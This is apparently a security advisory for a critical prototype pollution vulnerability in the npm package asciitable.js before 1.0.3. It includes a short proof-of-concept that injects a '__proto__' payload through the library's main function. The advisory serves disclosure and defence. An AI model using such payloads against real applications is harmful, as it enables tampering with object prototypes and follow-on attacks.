GHSA-5pxj-mhwj-x5gvCriticalCVSS 9.8

Prototype Pollution in asciitable.js

Published
April 13, 2021
Last Modified
September 20, 2023

🔗 CVE IDs covered (1)

📋 Description

The package asciitable.js before 1.0.3 is vulnerable to Prototype Pollution via the main function.

PoC

var a = require("asciitable.js"); 
var b = JSON.parse('{"__proto__":{"test":123}}'); 
a({},b); 
console.log({}.test)

🎯 Affected products1

  • npm/asciitable.js:< 1.0.3

🔗 References (5)